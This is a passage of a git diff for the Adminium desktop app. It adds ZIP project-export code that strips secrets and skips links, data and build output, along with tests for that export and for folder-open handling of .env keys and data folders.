+ language: z.string().min(2).nullable(),
+ /** Light, dark, or as the system is. */
+ theme: themeChoiceSchema,
+ /**
+ * The person said "Not now" to keeping versions (a computer with no git). Not
+ * for ever: the offer becomes a button. A default and not a new version: a
+ * file written before this key is read as "never asked".
+ */
+ versionsDeclined: z.boolean().default(false),
+ /** Other Adminiums this app was connected to, newest first: an address, the version it said, when. */
+ guests: z.array(z.strictObject({ address: z.string().min(1).max(300), version: z.string().max(40), lastOpened: z.string().min(1) })).max(8).default([]),
});
export type DesktopConfig = z.infer;
@@ -219,6 +267,11 @@ export function createDefaultConfig(dataDir: string): DesktopConfig {
telemetryOptIn: false,
autoBackup: { enabled: true, keep: DEFAULT_AUTO_BACKUP_KEEP },
window: { width: 1440, height: 900, maximized: false },
+ projects: [],
+ language: null,
+ theme: 'system',
+ versionsDeclined: false,
+ guests: [],
};
}
@@ -245,6 +298,13 @@ export function redactConfig(config: DesktopConfig): RedactedDesktopConfig {
telemetryOptIn: config.telemetryOptIn,
autoBackup: { ...config.autoBackup },
window: { ...config.window },
+ // No secret among them: a path, a name, a port, and the fingerprint of code the person agreed to run.
+ projects: config.projects.map((project) => ({ ...project })),
+ language: config.language,
+ theme: config.theme,
+ versionsDeclined: config.versionsDeclined,
+ // Addresses, not secrets: what was typed and the version that answered.
+ guests: config.guests.map((guest) => ({ ...guest })),
};
}
@@ -312,6 +372,8 @@ export type ConfigMigration = (raw: Record) => Record> = {
0: (raw) => ({ ...raw, version: 1 }),
+ // 1 → 2: the first screens. An empty list of projects, the system's language and theme; nothing else changes.
+ 1: (raw) => ({ ...raw, version: 2, projects: [], language: null, theme: 'system' }),
};
/** Just enough of the body to read the version before the real schema runs. */
diff --git a/apps/desktop/src/main/export.test.ts b/apps/desktop/src/main/export.test.ts
new file mode 100644
index 000000000..8e3878f75
--- /dev/null
+++ b/apps/desktop/src/main/export.test.ts
@@ -0,0 +1,161 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+
+import { strFromU8, unzipSync } from 'fflate';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import { envForExport, exportFileName, exportList, exported, writeProjectZip } from './export.js';
+
+let dir: string;
+let root: string;
+beforeEach(() => {
+ dir = mkdtempSync(join(tmpdir(), 'adminium-export-'));
+ root = join(dir, 'juniper-kitchen');
+ const put = (path: string, text = 'x'): void => {
+ mkdirSync(dirname(join(root, path)), { recursive: true });
+ writeFileSync(join(root, path), text);
+ };
+ put('adminium.config.ts', 'export default {};\n');
+ put('package.json', '{"name":"juniper"}\n');
+ put('package-lock.json', '{}');
+ put('.env', 'ADMINIUM_SECRET=the-key\nDATABASE_URL=sqlite:./data/app.sqlite\nADMINIUM_AI_ANTHROPIC_API_KEY=sk-ant-secret\nexport PEXELS_API_KEY=px-secret\n# a note\nADMINIUM_AI_MODEL=anthropic/claude\n');
+ put('apps/menu/manifest/app.json', '{"key":"menu"}');
+ put('apps/menu/staff/src/App.tsx', 'export const App = () => null;\n');
+ put('apps/menu/node_modules/react/index.js');
+ put('hooks/on-save.ts');
+ put('data/meta.db', 'rows');
+ put('data/app.sqlite', 'rows'.repeat(50_000));
+ put('data/backups/2026-10-09.adminium-backup', 'backup');
+ put('data.before-2026-10-09/meta.db', 'old rows');
+ put('.env.before', 'ADMINIUM_SECRET=older\n');
+ put('my-copy.adminium-backup.zip', 'backup');
+ put('node_modules/react/index.js');
+ put('.adminium/build/menu/staff/index.js');
+ put('.adminium/running.json', '{}');
+ put('.adminium/approved-builds.json', '{"menu":"abc"}');
+ put('.adminium/export.json', '{"kind":"everything"}');
+ put('.adminium/designer/sessions/ds_1/events.jsonl', '{"text":"my card number is…"}');
+ put('.adminium/designer/sources.json', '{}');
+ put('.adminium/designer/versions.git/HEAD', 'ref: refs/heads/x\n');
+ put('.DS_Store');
+ put('.git/config');
+ put('assets/logo.png', 'png-bytes');
+ symlinkSync('/etc/hosts', join(root, 'a-link'));
+});
+afterEach(() => {
+ rmSync(dir, { recursive: true, force: true });
+});
+
+const ALWAYS = ['.adminium/designer/sources.json', '.adminium/designer/versions.git/HEAD', 'adminium.config.ts', 'apps/menu/manifest/app.json', 'apps/menu/staff/src/App.tsx', 'assets/logo.png', 'hooks/on-save.ts', 'package-lock.json', 'package.json'];
+
+describe('what goes into an export', () => {
+ it('everything: the apps, the data, the key and the chats; never packages, builds, backups, approvals or a link', () => {
+ expect(exportList(root, 'everything').sort()).toEqual([...ALWAYS, '.adminium/designer/sessions/ds_1/events.jsonl', '.env', '.env.before', 'data.before-2026-10-09/meta.db', 'data/app.sqlite', 'data/meta.db'].sort());
+ });
+ it('the apps only: no data (old data included), no key, no chats; the version store still travels', () => {
+ expect(exportList(root, 'apps').sort()).toEqual([...ALWAYS].sort());
+ });
+ it('judges a path by its parts, not by what it happens to start with', () => {
+ expect(exported('database/notes.md', 'apps')).toBe(true);
+ expect(exported('apps/data/x.json', 'apps')).toBe(true);
+ expect(exported('apps/x/node_modules/y.js', 'everything')).toBe(false);
+ expect(exported('.adminium/builder/x', 'everything')).toBe(true);
+ });
+});
+
+describe('a .env that travels', () => {
+ it('loses every model and picture line, and keeps the rest as it was', () => {
+ expect(envForExport(readFileSync(join(root, '.env'), 'utf8'))).toBe('ADMINIUM_SECRET=the-key\nDATABASE_URL=sqlite:./data/app.sqlite\n# a note\n');
+ expect(envForExport('A=1')).toBe('A=1');
+ expect(envForExport('')).toBe('');
+ });
+});
+
+describe('the ZIP', () => {
+ const STAMP = { system: 'darwin', chip: 'arm64', engine: '0.3.22', exportedAt: '2026-10-10T10:00:00.000Z' };
+
+ it('holds exactly the list, under one folder named after the project, with a stamp and no key of a model', async () => {
+ const to = join(dir, 'out.zip');
+ const result = await writeProjectZip({ root, kind: 'everything', to, stamp: STAMP });
+ const entries = unzipSync(readFileSync(to));
+ const names = Object.keys(entries).sort();
+ expect(names).toEqual([...exportList(root, 'everything').map((path) => `juniper-kitchen/${path}`), 'juniper-kitchen/.adminium/export.json'].sort());
+ expect(result).toEqual({ files: names.length - 1, bytes: readFileSync(to).length });
+ for (const name of names) expect(name.startsWith('juniper-kitchen/') && !name.includes('..')).toBe(true);
+ expect(strFromU8(entries['juniper-kitchen/.env'] as Uint8Array)).toBe('ADMINIUM_SECRET=the-key\nDATABASE_URL=sqlite:./data/app.sqlite\n# a note\n');
+ expect(JSON.parse(strFromU8(entries['juniper-kitchen/.adminium/export.json'] as Uint8Array))).toEqual({ kind: 'everything', ...STAMP });
+ // A large file comes out as it went in.
+ expect(strFromU8(entries['juniper-kitchen/data/app.sqlite'] as Uint8Array)).toBe('rows'.repeat(50_000));
+ expect(strFromU8(entries['juniper-kitchen/assets/logo.png'] as Uint8Array)).toBe('png-bytes');
+ const all = Buffer.from(readFileSync(to)).toString('latin1');
+ expect(all).not.toContain('sk-ant-secret');
+ expect(all).not.toContain('px-secret');
+ });
+
+ it('the apps only: the key, the data and the chats are not in the file at all', async () => {
+ const to = join(dir, 'apps.zip');
+ await writeProjectZip({ root, kind: 'apps', to, stamp: STAMP });
+ const entries = unzipSync(readFileSync(to));
+ expect(Object.keys(entries).some((name) => /\/(\.env|data\/|data\.before|\.adminium\/designer\/sessions)/.test(name))).toBe(false);
+ expect(JSON.parse(strFromU8(entries['juniper-kitchen/.adminium/export.json'] as Uint8Array))).toMatchObject({ kind: 'apps' });
+ const all = Buffer.from(readFileSync(to)).toString('latin1');
+ expect(all).not.toContain('the-key');
+ expect(all).not.toContain('my card number');
+ });
+
+ it('the apps only: data kept under another name, a key kept in another file and an earlier export in the folder do not travel', async () => {
+ const put = (path: string, text: string): void => {
+ mkdirSync(dirname(join(root, path)), { recursive: true });
+ writeFileSync(join(root, path), text);
+ };
+ put('storage/app.sqlite', 'ROWS-ELSEWHERE');
+ put('storage/app.sqlite-wal', 'ROWS-IN-FLIGHT');
+ put('storage/files/receipt.txt', 'A-PERSON-S-FILE');
+ put('storage/data.before-2026-10-01/meta.db', 'OLDER-ROWS');
+ put('other.db', 'ROWS-IN-A-DB');
+ put('.env.local', 'ADMINIUM_SECRET=another-key\n');
+ put('.env.example', 'ADMINIUM_SECRET=\n');
+ // An export of everything, made earlier and kept in the folder.
+ await writeProjectZip({ root, kind: 'everything', to: join(root, 'juniper-kitchen.zip'), stamp: STAMP });
+ const to = join(dir, 'apps.zip');
+ await writeProjectZip({ root, kind: 'apps', to, stamp: STAMP, data: [join(root, 'storage', 'app.sqlite'), join(root, 'storage')] });
+ const names = Object.keys(unzipSync(readFileSync(to)));
+ expect(names.filter((name) => /storage|\.db|\.zip|\.env\.(local|before)/.test(name))).toEqual([]);
+ expect(names).toContain('juniper-kitchen/.env.example');
+ const all = Buffer.from(readFileSync(to)).toString('latin1');
+ for (const secret of ['ROWS-ELSEWHERE', 'ROWS-IN-FLIGHT', 'A-PERSON-S-FILE', 'OLDER-ROWS', 'ROWS-IN-A-DB', 'another-key', 'the-key', 'older']) expect(all, secret).not.toContain(secret);
+ });
+
+ it('everything: every file a key is kept in loses its model lines, and the file being written is not packed into itself', async () => {
+ writeFileSync(join(root, '.env.before'), 'ADMINIUM_SECRET=older\nADMINIUM_AI_ANTHROPIC_API_KEY=sk-ant-older\n');
+ const to = join(root, 'again.zip');
+ writeFileSync(to, 'an earlier file of the same name');
+ const made = await writeProjectZip({ root, kind: 'everything', to, stamp: STAMP });
+ const entries = unzipSync(readFileSync(to));
+ expect(Object.keys(entries).filter((name) => name.endsWith('.zip'))).toEqual([]);
+ expect(strFromU8(entries['juniper-kitchen/.env.before'] as Uint8Array)).toBe('ADMINIUM_SECRET=older\n');
+ expect(Buffer.from(readFileSync(to)).toString('latin1')).not.toContain('sk-ant-');
+ expect(made.files).toBe(Object.keys(entries).length - 1);
+ });
+
+ it('a project past what one ZIP can hold is refused before anything is written', async () => {
+ const to = join(dir, 'big.zip');
+ await expect(writeProjectZip({ root, kind: 'everything', to, stamp: STAMP, limitBytes: 1000 })).rejects.toThrow('too large for one ZIP file');
+ expect(existsSync(to)).toBe(false);
+ });
+
+ it('a file that cannot be finished is not left behind', async () => {
+ const control = new AbortController();
+ control.abort();
+ const to = join(dir, 'stopped.zip');
+ await expect(writeProjectZip({ root, kind: 'everything', to, stamp: STAMP, signal: control.signal })).rejects.toThrow('The export was stopped.');
+ expect(existsSync(to)).toBe(false);
+ await expect(writeProjectZip({ root, kind: 'everything', to: join(dir, 'no', 'such', 'folder', 'x.zip'), stamp: STAMP })).rejects.toThrow();
+ });
+
+ it('proposes a name from the project’s folder', () => {
+ expect(exportFileName(root)).toBe('juniper-kitchen.zip');
+ });
+});
diff --git a/apps/desktop/src/main/export.ts b/apps/desktop/src/main/export.ts
new file mode 100644
index 000000000..895c12f3e
--- /dev/null
+++ b/apps/desktop/src/main/export.ts
@@ -0,0 +1,206 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * "Export this project…": one ZIP of a project folder, made by the app, with
+ * the choice of what goes in it.
+ *
+ * - `everything`: the apps, the data and the key. Whoever opens it can read
+ * all of it, saved database connections included.
+ * - `apps`: without the data, the key and the Designer's chats. Whoever opens
+ * it starts with empty data.
+ *
+ * In both: no packages (they are fetched again where it is opened), no build
+ * output, no backups, and NEVER a model or picture key, whatever a `.env`
+ * that was written on a terminal holds. The server is stopped while this runs
+ * (main does that), so a database file is never copied beside a write in
+ * flight.
+ *
+ * Written as a stream: a project's data can be larger than memory should hold.
+ * ELECTRON-FREE.
+ */
+import { createReadStream, createWriteStream, lstatSync, readFileSync, readdirSync, rmSync } from 'node:fs';
+import { basename, join, relative, resolve, sep } from 'node:path';
+
+import { Zip, ZipDeflate, ZipPassThrough } from 'fflate';
+
+import { KEPT_KEY_NAMES } from '../server/protocol.js';
+
+export type ExportKind = 'everything' | 'apps';
+
+/** Left out of every export, wherever in the folder they are. */
+const NEVER_NAMES = new Set(['node_modules', '.DS_Store', 'Thumbs.db', '.git']);
+/** Left out of every export, by their path from the project's root. */
+const NEVER_PATHS = ['.adminium/build', '.adminium/running.json', '.adminium/approved-builds.json', '.adminium/export.json', 'data/backups'];
+/** Left out when the data and the key do not travel. */
+const NOT_WITH_APPS_ONLY = ['.env', 'data', '.adminium/designer/sessions'];
+/** Already packed: storing them as they are is as small and much faster. */
+const STORED = /\.(zip|gz|tgz|png|jpe?g|webp|gif|woff2?|mp4|mov|pdf)$/i;
+
+const under = (path: string, folder: string): boolean => path === folder || path.startsWith(`${folder}/`);
+
+/** Whether a path (from the project's root, with `/`) goes into an export of that kind. */
+export function exported(path: string, kind: ExportKind): boolean {
+ if (path.split('/').some((part) => NEVER_NAMES.has(part))) return false;
+ if (NEVER_PATHS.some((never) => under(path, never))) return false;
+ // A backup archive is a copy of the data, wherever a person put it.
+ if (/\.adminium-backup(\.zip)?$/i.test(path)) return false;
+ // A ZIP at the top of the folder is an earlier export or a download, never a part of the project: an export of
+ // "everything" kept there would otherwise travel, key and data, inside one of "the apps only".
+ if (/^[^/]+\.zip$/i.test(path)) return false;
+ if (kind === 'apps') {
+ if (NOT_WITH_APPS_ONLY.some((left) => under(path, left))) return false;
+ // The data moved aside by "Start the data fresh" is data, beside whatever folder it was moved from.
+ if (path.split('/').some((part) => /^data\.before-/.test(part))) return false;
+ // Every file a key was ever kept in (`.env.before`, `.env.local`); the example names no value.
+ if (isEnvFile(path) && path !== '.env.example') return false;
+ // A database kept somewhere other than `data/` (a folder made on a terminal may name any file) is still the data.
+ if (/\.(sqlite3?|db)(-wal|-shm|-journal)?$/i.test(path)) return false;
+ }
+ return true;
+}
+
+/** `.env` and its kin at the project's root: `.env.before`, `.env.local`. */
+export function isEnvFile(path: string): boolean {
+ return /^\.env(\.[^/]+)?$/.test(path);
+}
+
+/** A `.env` as it may travel: every model and picture line taken out, the rest as it was. */
+export function envForExport(text: string): string {
+ const names = new Set(KEPT_KEY_NAMES);
+ return text
+ .split(/(?<=\n)/)
+ .filter((line) => {
+ const name = /^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=/.exec(line)?.[1];
+ return name === undefined || !names.has(name);
+ })
+ .join('');
+}
+
+/**
+ * Every file that goes in, by its path from the root, in a steady order. Links are not followed and not written.
+ * `leave` is paths from the root left out whatever the kind says: the file being written, when it is inside the
+ * folder, and for "the apps only" the data wherever this project keeps it.
+ */
+export function exportList(root: string, kind: ExportKind, leave: readonly string[] = []): string[] {
+ const out: string[] = [];
+ const walk = (relative: string): void => {
+ for (const name of readdirSync(relative === '' ? root : join(root, relative)).sort()) {
+ const path = relative === '' ? name : `${relative}/${name}`;
+ if (!exported(path, kind) || leave.some((left) => under(path, left))) continue;
+ const stat = lstatSync(join(root, path));
+ if (stat.isDirectory()) walk(path);
+ else if (stat.isFile()) out.push(path);
+ }
+ };
+ walk('');
+ return out;
+}
+
+/**
+ * The plain ZIP format's own ceilings (the writer used here makes no ZIP64): 4 GB for the file and anything in it,
+ * 65,535 entries. Counted on what goes in, with room left for the names and the list at the end.
+ */
+const ZIP_LIMIT_BYTES = 0xffff_ffff - 256 * 1024 * 1024;
+const ZIP_LIMIT_FILES = 65_000;
+
+export interface ExportStamp {
+ kind: ExportKind;
+ system: string;
+ chip: string;
+ engine: string;
+ exportedAt: string;
+}
+
+export interface ExportResult {
+ files: number;
+ bytes: number;
+}
+
+/**
+ * Write the ZIP. Entries sit under one top folder named after the project's
+ * own folder; no absolute path and no link is written. A file that cannot be
+ * finished is removed: half an export is not an export.
+ */
+export async function writeProjectZip(opts: { root: string; kind: ExportKind; to: string; stamp: Omit; signal?: AbortSignal; data?: readonly string[]; limitBytes?: number }): Promise {
+ const top = basename(opts.root);
+ // The file being written is never one of the files read: it would be packed into itself until the disk is full.
+ const inside = (file: string): string | null => {
+ const path = relative(resolve(opts.root), resolve(file));
+ return path === '' || path.startsWith('..') || resolve(path) === path ? null : path.split(sep).join('/');
+ };
+ const leave = [inside(opts.to), ...(opts.kind === 'apps' ? (opts.data ?? []).map(inside) : [])].filter((path): path is string => path !== null);
+ const files = exportList(opts.root, opts.kind, leave);
+ // Said before anything is written: past these sizes the file would be made, called saved, and not open.
+ let size = 0;
+ for (const path of files) size += lstatSync(join(opts.root, path)).size;
+ if (size > (opts.limitBytes ?? ZIP_LIMIT_BYTES) || files.length >= ZIP_LIMIT_FILES) {
+ throw new Error('This project is too large for one ZIP file (over 4 GB, or more than 65,000 files). Export the apps only, or copy the folder itself.');
+ }
+ const out = createWriteStream(opts.to);
+ let bytes = 0;
+ let failed: Error | null = null;
+ const done = new Promise((resolve, reject) => {
+ out.once('error', (error) => {
+ failed = error;
+ reject(error);
+ });
+ out.once('finish', resolve);
+ });
+ // Awaited at the end; a failure met earlier is thrown from the loop, and must not also surface here unheard.
+ done.catch(() => undefined);
+ const zip = new Zip((error, chunk, final) => {
+ if (error !== null) {
+ failed = error;
+ out.destroy(error);
+ return;
+ }
+ bytes += chunk.length;
+ out.write(chunk);
+ if (final) out.end();
+ });
+
+ const add = async (path: string, source: AsyncIterable | Buffer): Promise => {
+ const entry = STORED.test(path) ? new ZipPassThrough(`${top}/${path}`) : new ZipDeflate(`${top}/${path}`, { level: 6 });
+ zip.add(entry);
+ if (Buffer.isBuffer(source)) {
+ entry.push(source, true);
+ return;
+ }
+ for await (const chunk of source) {
+ if (opts.signal?.aborted === true) throw new Error('The export was stopped.');
+ if (failed !== null) throw failed as Error;
+ entry.push(chunk, false);
+ // Not faster than the disk takes it: a large database must not sit in memory waiting to be written.
+ // A disk that fills or a drive pulled out never drains: the failure ends the wait.
+ if (out.writableNeedDrain) await Promise.race([new Promise((drained) => out.once('drain', drained)), done]);
+ }
+ entry.push(new Uint8Array(0), true);
+ };
+
+ try {
+ for (const path of files) {
+ if (failed !== null) throw failed as Error;
+ if (isEnvFile(path)) await add(path, Buffer.from(envForExport(readFileSync(join(opts.root, path), 'utf8'))));
+ else await add(path, createReadStream(join(opts.root, path)));
+ }
+ // What this folder is, said before anything of it is run where it is opened.
+ await add('.adminium/export.json', Buffer.from(`${JSON.stringify({ kind: opts.kind, ...opts.stamp } satisfies ExportStamp, null, 2)}\n`));
+ if (failed !== null) throw failed as Error;
+ zip.end();
+ await done;
+ return { files: files.length, bytes };
+ } catch (error) {
+ out.destroy();
+ // On Windows the file may still be held for a moment: the failure that matters is the one already in hand.
+ try {
+ rmSync(opts.to, { force: true, maxRetries: 5, retryDelay: 100 });
+ } catch {
+ // Left where it is; the person is told the export failed.
+ }
+ throw error;
+ }
+}
+
+/** `juniper-kitchen.zip`: the name proposed for a project's export. */
+export function exportFileName(root: string): string {
+ return `${basename(root)}.zip`;
+}
diff --git a/apps/desktop/src/main/folder-open.test.ts b/apps/desktop/src/main/folder-open.test.ts
new file mode 100644
index 000000000..456502f67
--- /dev/null
+++ b/apps/desktop/src/main/folder-open.test.ts
@@ -0,0 +1,269 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import {
+ cameWithAccounts,
+ cleanVersionStore,
+ dataBeforeName,
+ projectDataPaths,
+ strictlyInside,
+ tidyVersionStore,
+ enginePin,
+ envValue,
+ newSecret,
+ olderThan,
+ parseFolderFacts,
+ prepareNewData,
+ projectDatabaseFile,
+ resolveMissingKey,
+ withEnvValue,
+ type FolderFacts,
+} from './folder-open.js';
+
+let root: string;
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), 'adminium-folder-'));
+});
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+const NONE = { count: 0, names: [] };
+const FACTS: FolderFacts = {
+ secret: true,
+ database: 'sqlite',
+ dataDir: '/p/data',
+ lastEngine: '0.3.21',
+ newer: [],
+ people: { count: 1, names: ['Owner'] },
+ apiKeys: NONE,
+ publicKeys: NONE,
+ ownerHasPassword: false,
+ running: null,
+ otherManager: null,
+ engine: { installed: '0.3.21', declared: '0.3.21', here: '0.3.21' },
+ install: null,
+};
+
+describe('the engine’s answer', () => {
+ it('is read from the last line that is its JSON, whatever a package printed around it', () => {
+ expect(parseFolderFacts(`npm warn something\n{"not":"it"}\n${JSON.stringify(FACTS)}\n`)).toEqual(FACTS);
+ expect(parseFolderFacts(`${JSON.stringify(FACTS)}\n{ broken`)).toEqual(FACTS);
+ });
+ it('is nothing when there is none, or when it is not the shape the app reads', () => {
+ expect(parseFolderFacts('')).toBeNull();
+ expect(parseFolderFacts('There is no project in this folder')).toBeNull();
+ expect(parseFolderFacts(JSON.stringify({ ...FACTS, database: 'oracle' }))).toBeNull();
+ });
+});
+
+describe('versions', () => {
+ it('compares releases by their numbers, whatever stands before them', () => {
+ expect(olderThan('0.3.16', '0.3.21')).toBe(true);
+ expect(olderThan('^0.3.21', '0.3.21')).toBe(false);
+ expect(olderThan('0.3.21', '0.3.16')).toBe(false);
+ expect(olderThan('0.9.9', '1.0.0')).toBe(true);
+ expect(olderThan('0.10.0', '0.9.0')).toBe(false);
+ expect(olderThan('0.3.21-rc.1', '0.3.22')).toBe(true);
+ });
+ it('a version that does not read is not older than anything', () => {
+ expect(olderThan('latest', '0.3.21')).toBe(false);
+ expect(olderThan('0.3.21', 'workspace:*')).toBe(false);
+ });
+ it('a project’s pin is what is installed, else what package.json asks for', () => {
+ expect(enginePin({ engine: { installed: '0.3.16', declared: '^0.3.21', here: '0.3.21' } })).toBe('0.3.16');
+ expect(enginePin({ engine: { installed: null, declared: '^0.3.18', here: '0.3.21' } })).toBe('0.3.18');
+ expect(enginePin({ engine: { installed: null, declared: null, here: '0.3.21' } })).toBeNull();
+ expect(enginePin({ engine: { installed: null, declared: 'workspace:*', here: '0.3.21' } })).toBeNull();
+ });
+});
+
+describe('a folder that came with accounts', () => {
+ it('is one with more than its own owner: other people, keys, or an owner with a password', () => {
+ expect(cameWithAccounts(FACTS)).toBe(false);
+ expect(cameWithAccounts({ ...FACTS, people: { count: 2, names: ['A', 'B'] } })).toBe(true);
+ expect(cameWithAccounts({ ...FACTS, apiKeys: { count: 1, names: ['k'] } })).toBe(true);
+ expect(cameWithAccounts({ ...FACTS, publicKeys: { count: 1, names: ['k'] } })).toBe(true);
+ expect(cameWithAccounts({ ...FACTS, ownerHasPassword: true })).toBe(true);
+ // No store, no accounts, whatever else is said.
+ expect(cameWithAccounts({ ...FACTS, database: 'none', ownerHasPassword: true })).toBe(false);
+ });
+});
+
+describe('.env, as text', () => {
+ it('reads one name’s value, the last one set, without its quotes or a trailing note', () => {
+ const text = '# a note\nexport A=1\nB="two words"\nC=three # note\nA=4\nEMPTY=\n';
+ expect(envValue(text, 'A')).toBe('4');
+ expect(envValue(text, 'B')).toBe('two words');
+ expect(envValue(text, 'C')).toBe('three');
+ expect(envValue(text, 'EMPTY')).toBe('');
+ expect(envValue(text, 'MISSING')).toBeNull();
+ });
+ it('sets a name where its line is, or at the end, and always ends with a line break', () => {
+ expect(withEnvValue('', 'ADMINIUM_SECRET', 'k')).toBe('ADMINIUM_SECRET=k\n');
+ expect(withEnvValue('A=1\nADMINIUM_SECRET=\nB=2\n', 'ADMINIUM_SECRET', 'k')).toBe('A=1\nADMINIUM_SECRET=k\nB=2\n');
+ expect(withEnvValue('A=1', 'ADMINIUM_SECRET', 'k')).toBe('A=1\nADMINIUM_SECRET=k\n');
+ });
+ it('a new key is 64 hex characters, never the same twice', () => {
+ expect(newSecret()).toMatch(/^[0-9a-f]{64}$/);
+ expect(newSecret()).not.toBe(newSecret());
+ });
+ it('finds the SQLite file a project’s address names', () => {
+ expect(projectDatabaseFile(root, 'DATABASE_URL=sqlite:./data/app.sqlite\n')).toBe(join(root, 'data', 'app.sqlite'));
+ expect(projectDatabaseFile(root, 'DATABASE_URL=sqlite:///abs/app.sqlite\n')).toBe('/abs/app.sqlite');
+ expect(projectDatabaseFile(root, 'DATABASE_URL=postgres://db/x\n')).toBeNull();
+ expect(projectDatabaseFile(root, 'DATABASE_URL=sqlite::memory:\n')).toBeNull();
+ expect(projectDatabaseFile(root, '')).toBeNull();
+ });
+});
+
+describe('a folder with no data yet', () => {
+ it('gets a key when it has none, and the empty database file where its address points', () => {
+ writeFileSync(join(root, '.env'), 'DATABASE_URL=sqlite:./data/app.sqlite\n');
+ expect(prepareNewData(root, { secret: false, database: 'none' }, () => 'k'.repeat(64))).toEqual({ key: true, database: true });
+ expect(readFileSync(join(root, '.env'), 'utf8')).toBe(`DATABASE_URL=sqlite:./data/app.sqlite\nADMINIUM_SECRET=${'k'.repeat(64)}\n`);
+ expect(statSync(join(root, 'data', 'app.sqlite')).size).toBe(0);
+ // Asked again: nothing more is made.
+ expect(prepareNewData(root, { secret: true, database: 'none' })).toEqual({ key: false, database: false });
+ });
+ it('keeps a key that is there, and makes a `.env` for a folder that has none', () => {
+ expect(prepareNewData(root, { secret: false, database: 'none' }, () => 'k')).toEqual({ key: true, database: false });
+ expect(readFileSync(join(root, '.env'), 'utf8')).toBe('ADMINIUM_SECRET=k\n');
+ });
+ it('NEVER writes a key for a folder that has data: that one is asked about', () => {
+ writeFileSync(join(root, '.env'), 'DATABASE_URL=sqlite:./data/app.sqlite\n');
+ expect(prepareNewData(root, { secret: false, database: 'sqlite' }, () => 'k')).toEqual({ key: false, database: false });
+ expect(readFileSync(join(root, '.env'), 'utf8')).not.toContain('ADMINIUM_SECRET');
+ expect(prepareNewData(root, { secret: false, database: 'elsewhere' }, () => 'k')).toEqual({ key: false, database: false });
+ });
+});
+
+describe('data with no key: the three answers', () => {
+ const data = (): string => {
+ mkdirSync(join(root, 'data'));
+ writeFileSync(join(root, 'data', 'meta.db'), 'rows');
+ return join(root, 'data');
+ };
+
+ it('"I have the .env file": it becomes the project’s, and one that was there is kept beside it', () => {
+ data();
+ writeFileSync(join(root, '.env'), 'DATABASE_URL=sqlite:./data/app.sqlite\n');
+ const mine = join(root, 'my.env');
+ writeFileSync(mine, 'ADMINIUM_SECRET=the-old-key\nDATABASE_URL=sqlite:./data/app.sqlite\n');
+ expect(resolveMissingKey(root, { dataDir: join(root, 'data') }, { kind: 'env', file: mine })).toEqual({ ok: true });
+ expect(readFileSync(join(root, '.env'), 'utf8')).toContain('ADMINIUM_SECRET=the-old-key');
+ expect(readFileSync(join(root, '.env.before'), 'utf8')).toBe('DATABASE_URL=sqlite:./data/app.sqlite\n');
+ // The data is not touched.
+ expect(readFileSync(join(root, 'data', 'meta.db'), 'utf8')).toBe('rows');
+ });
+
+ it('a file with no key in it, or one that is not there, is refused and nothing is written', () => {
+ data();
+ const empty = join(root, 'other.env');
+ writeFileSync(empty, 'ADMINIUM_SECRET=\nA=1\n');
+ expect(resolveMissingKey(root, { dataDir: join(root, 'data') }, { kind: 'env', file: empty })).toEqual({ ok: false, reason: 'not-a-key-file' });
+ expect(resolveMissingKey(root, { dataDir: join(root, 'data') }, { kind: 'env', file: join(root, 'gone.env') })).toEqual({ ok: false, reason: 'not-a-key-file' });
+ expect(existsSync(join(root, '.env'))).toBe(false);
+ });
+
+ it('the project’s own .env picked again (the key was put back by hand) is taken as it is', () => {
+ data();
+ writeFileSync(join(root, '.env'), 'ADMINIUM_SECRET=put-back\n');
+ expect(resolveMissingKey(root, { dataDir: join(root, 'data') }, { kind: 'env', file: join(root, '.env') })).toEqual({ ok: true });
+ expect(existsSync(join(root, '.env.before'))).toBe(false);
+ });
+
+ it('"Start the data fresh": the data folder is MOVED, never deleted, and a new key is written', () => {
+ const folder = data();
+ const now = new Date('2026-10-09T23:30:00.000Z');
+ expect(dataBeforeName(now)).toBe('data.before-2026-10-09');
+ expect(resolveMissingKey(root, { dataDir: folder }, { kind: 'fresh' }, { now, secret: () => 'n1' })).toEqual({ ok: true });
+ expect(existsSync(folder)).toBe(false);
+ expect(readFileSync(join(root, 'data.before-2026-10-09', 'meta.db'), 'utf8')).toBe('rows');
+ expect(readFileSync(join(root, '.env'), 'utf8')).toBe('ADMINIUM_SECRET=n1\n');
+ // A second time on the same day does not write over the first.
+ data();
+ expect(resolveMissingKey(root, { dataDir: folder }, { kind: 'fresh' }, { now, secret: () => 'n2' })).toEqual({ ok: true });
+ expect(readdirSync(root).filter((name) => name.startsWith('data.before')).sort()).toEqual(['data.before-2026-10-09', 'data.before-2026-10-09-2']);
+ });
+
+ it('"Start the data fresh" never moves a folder that is not inside the project: the project itself, or a place outside it', () => {
+ const outside = mkdtempSync(join(tmpdir(), 'adminium-folder-outside-'));
+ try {
+ writeFileSync(join(outside, 'meta.db'), 'somebody’s rows');
+ for (const dataDir of [outside, root]) {
+ expect(resolveMissingKey(root, { dataDir }, { kind: 'fresh' }, { secret: () => 'n1' })).toMatchObject({ ok: false, reason: 'failed' });
+ expect(existsSync(join(outside, 'meta.db'))).toBe(true);
+ expect(existsSync(join(root, '.env'))).toBe(false);
+ }
+ expect(strictlyInside(root, join(root, 'nowhere'))).toBe(false);
+ } finally {
+ rmSync(outside, { recursive: true, force: true });
+ }
+ });
+
+ it('says where a project keeps its data, whatever its .env calls it', () => {
+ expect(projectDataPaths(root)).toEqual([join(root, 'data')]);
+ writeFileSync(join(root, '.env'), 'DATABASE_URL=sqlite:./storage/app.sqlite\nADMINIUM_DATA_DIR=./storage\n');
+ const file = join(root, 'storage', 'app.sqlite');
+ expect(projectDataPaths(root)).toEqual([file, `${file}-wal`, `${file}-shm`, `${file}-journal`, join(root, 'storage')]);
+ });
+
+ it('"Go on with a new key": the data stays, and the key is new', () => {
+ data();
